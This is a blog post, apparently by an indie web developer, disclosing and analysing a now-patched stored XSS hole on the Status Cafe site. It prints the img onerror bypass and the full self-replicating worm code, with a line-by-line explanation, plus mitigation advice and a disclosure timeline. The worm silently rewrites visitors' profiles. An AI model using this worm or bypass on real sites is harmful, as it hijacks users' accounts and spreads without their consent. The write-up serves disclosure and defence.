惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

人人都是产品经理
人人都是产品经理
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
P
Privacy International News Feed
Simon Willison's Weblog
Simon Willison's Weblog
I
Intezer
Spread Privacy
Spread Privacy
The Hacker News
The Hacker News
P
Palo Alto Networks Blog
TaoSecurity Blog
TaoSecurity Blog
S
Secure Thoughts
Google Online Security Blog
Google Online Security Blog
H
Heimdal Security Blog
N
News | PayPal Newsroom
Attack and Defense Labs
Attack and Defense Labs
Recent Commits to openclaw:main
Recent Commits to openclaw:main
博客园 - 【当耐特】
Webroot Blog
Webroot Blog
小众软件
小众软件
Help Net Security
Help Net Security
D
Darknet – Hacking Tools, Hacker News & Cyber Security
N
News and Events Feed by Topic
Hacker News - Newest:
Hacker News - Newest: "LLM"
PCI Perspectives
PCI Perspectives
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
The Cloudflare Blog
Cloudbric
Cloudbric
AI
AI
WordPress大学
WordPress大学
博客园 - 聂微东
Jina AI
Jina AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 三生石上(FineUI控件)
Hacker News: Ask HN
Hacker News: Ask HN
H
Hacker News: Front Page
博客园 - Franky
V
V2EX
Schneier on Security
Schneier on Security
G
GRAHAM CLULEY
S
SegmentFault 最新的问题
有赞技术团队
有赞技术团队
H
Help Net Security
量子位
S
Security @ Cisco Blogs
大猫的无限游戏
大猫的无限游戏
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Recorded Future
Recorded Future
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
J
Java Code Geeks
C
Cisco Blogs
S
Security Affairs

jb's posts

One year on Nekoweb AI is overpowered now and it's really worrying Redirecting... Does having webrings slow down your site? Things the Indie Web should consider jbsite4 is overcomplicated and I love it [RANT] Browser inconsistencies, yes it still exists. Web responsiveness: why you should follow it on your site jb's 17th birthday jbsite4, preparing for takeoff. Nekoweb 1-month Review AIAIAIAIAIAIAIAIAIAI Burnout Making this website Making a website doesn't need to cost you money (RANT) I despise annoying scripts The Great Nekoweb Elections My love/hate relationship on Bluetooth JB's site, now hosted on Nekoweb! My First Blog Y2DL Devlog - May 2024
[UPDATE: PATCHED] XSS on Status Cafe: What you need to know
2025-06-19 · via jb's posts

#vulnerability #xss #status-cafe

Update 06/18/2025

Patched

The vulnerability has been patched by sanitizing user input, and preventing execution of JS by using Content Security Policy.

This is huge. Even though the worm is still lingering out there, I’m glad that it won’t run anymore and infect other people and future worm attempts will be difficult to do.

m15o (the Status Cafe developer) also said that they will find a way to removing the existing worm on infected user profiles. See their response on the Status Cafe Forums !

Hey there! Status Cafe is a status-posting site where users can share their status for anyone can see, and it’s popular among indie web developers as it’s easy to use it for posting your own status and embedding it on your site.

Each user has their own page that shows their status history and whatnot. It contains some things, like your profile image, a “Subscribe via Atom” link, your homepage, email, and an about me section.

My status cafe profile page

But there’s another thing, the about me section accepts HTML and CSS! Most people uses it for like styling their page, and like removing unnecessary things.

A styled status cafe profile page (from rice.place)

There’s also some people that makes their status cafe profile page look distinct from other sites by using CSS to remove things and readding it with HTML, like me!

my jbsite4-themed status cafe profile page

But, the thing it doesn’t support is JavaScript. Adding script tags on it will result to this:

a page saying <script> tags is forbidden

But, it should sanitize user input and remove any mentions of JS, right? right???

Script tags are blocked, but what about some workarounds? Let’s try the classic img tag onerror XSS trick… and it worked.

an alert window saying 'xss'

That means that it’s not sanitizing event handler based scripts, which lead into the status.cafe worm.

Things you need to know

🗒️ Before I say anything else, I will say that your status cafe token is not sent into an attacker, and they can’t do it. That’s because the token cookie uses HttpOnly as it should. This means that no account has been stolen.

The XSS vulnerability uses HTML event handler attributes , which usually is frowned upon as they are outdated and will result on messy code, but the indie web still uses these (that’s why MDN says to not use these).

What does that mean? It means that an attacker can run scripts on your browser without you knowing, which is bad when executed properly.

Technical Info

Status Cafe doesn’t fully sanitize user input, which leads on this vulnerability.

If you include a code like this on your about page:

<img src="x" onerror="alert('XSS')">

It will not sanitize onerror, which is really bad for a reason.

What can attacker do with this?

There are things an attacker can do with this, even though they can’t get your cookie:

  • Post statuses on your behalf
  • Change your profile info
  • Make a browser do things you didn’t do
  • Change things you see on the site
  • and many more…

Mitigation

For now, you can use this uBlock Origin custom filter rule to block scripts on user pages:

||*status.cafe/users/*$csp=script-src 'none'

You can also disable JS on the entire site, which I think works fine as status.cafe works primarily out of HTML form elements.

What should Status Cafe do?

  • Sanitize user input. It already somewhat sanitizes input (like <script> tags is not allowed) but a full sanitization of user input is better than a half-baked one, as this worm uses inline event handlers (like onload or onerror)
  • Implement better Content-Security-Policy headers (like preventing inline scripts from running on user pages) to prevent other XSS misuse.
  • Implement better CORS to prevent scripts from fetching user settings for example
  • Make it so the settings pages and such to block being able to load in iframes. This can be implemented by using X-Frame-Options or the Content-Security-Policy headers.

This is also related on XSS but it’s much different than the other one, but the first vulnerability can post this on your profile and make your site have a vulnerability, but this is much harder to do without being noticed.

This is because the widget uses innerHTML, and it just putting user status without sanitizing it, which is also bad. It’s reasonable to use innerHTML for this as status.cafe also have automatic link handling for example.

🗒️ I’m going to be a bit technical about this.

The worm code looks like this at it’s raw:

<img src="x" style="display:none;" onerror="/*the silly worm*made by ???*should probably not infect the same person twice*also pls dont remove js, i think it'd be cool to keep it so that it allows funny stuff like this to happen*xoxo and merry christmas* -???*/(async()=>{if(document.location.search=='?qw'){const d=new DOMParser().parseFromString(await(await fetch('https://status.cafe/settings')).text(),'text/html');if(!d||d.querySelector('textarea')?.outerHTML.includes('&amp;'+'lt;!--javaistrash--&amp;'+'gt;')){throw 0};d.querySelector('textarea').innerText+='\n<!--javaistrash-->';d.querySelector('textarea').innerText+='\n'+this.outerHTML;d.querySelector('form').id='123';document.body.append(d.querySelector('form'));document.getElementById('123').querySelector('input[type=submit]').click()}else{const nu=new window.URL(document.location.href);nu.search='?qw';const f=document.createElement('iframe');f.setAttribute('style','display:none;');f.setAttribute('src',nu.href);document.body.append(f)}})()">

Quite long, isn’t it? Let’s remove the unnecessary code and beautify it:

(async () => {

if (document.location.search == '?qw') {

const d = new DOMParser().parseFromString(await (await fetch('https://status.cafe/settings')).text(), 'text/html');

if (!d || d.querySelector('textarea')?.outerHTML.includes('&amp;' + 'lt;!--javaistrash--&amp;' + 'gt;')) {

throw 0

};

d.querySelector('textarea').innerText += '\n<!--javaistrash-->';

d.querySelector('textarea').innerText += '\n' + this.outerHTML;

d.querySelector('form').id = '123';

document.body.append(d.querySelector('form'));

document.getElementById('123').querySelector('input[type=submit]').click()

} else {

const nu = new window.URL(document.location.href);

nu.search = '?qw';

const f = document.createElement('iframe');

f.setAttribute('style', 'display:none;');

f.setAttribute('src', nu.href);

document.body.append(f)

}

})()

The code is wrapped into an IIFE , which makes it run almost immediately and with async support.

It looks for an ?eq search string on the URL and runs 2 different things if there is one or if there is none:

If there is one

// Fetches the status cafe settings, and parses it using DOMParser

const d = new DOMParser().parseFromString(await (await fetch('https://status.cafe/settings')).text(), 'text/html');

// Looks if there's already an instance of the worm, and if so, throws an error with content `0`

if (!d || d.querySelector('textarea')?.outerHTML.includes('&amp;' + 'lt;!--javaistrash--&amp;' + 'gt;')) {

throw 0

};

// appends <!--javaistrash-->, which makes the above work

d.querySelector('textarea').innerText += '\n<!--javaistrash-->';

// then it appends the script itself

d.querySelector('textarea').innerText += '\n' + this.outerHTML;

// then it changes ids

d.querySelector('form').id = '123';

// then it appends it on the iframe

document.body.append(d.querySelector('form'));

// and clicks the submit button, which makes it infect your profile with the worm

document.getElementById('123').querySelector('input[type=submit]').click();

If there is none

// Evaluates the current URL

const nu = new window.URL(document.location.href);

// adds ?qw on it

nu.search = '?qw';

// then it creates an iframe

const f = document.createElement('iframe');

// then it sets itself to display: none, which makes it invisible to the user vising the page

f.setAttribute('style', 'display:none;');

// then it sets the src of the iframe

f.setAttribute('src', nu.href);

// and finally, it appends the iframe into the body

document.body.append(f);

Timeline

  • 2023-07-12 - disclosed by divsel in the status.cafe forums
  • 2025-04-23 - first report of an worm being spread into status.cafe
  • 2025-05-22 - emailed status.cafe developer about it, for an update
  • 2025-06-16 - public disclosure
  • 2025-06-18 - issue patched

Wrap-up

Although this would not compromise your status.cafe account, you should be still wary of visiting other people’s user pages while this hasn’t been fixed yet.

Also, I recommend following the mitigation steps above, which makes your browser almost immune on the worm.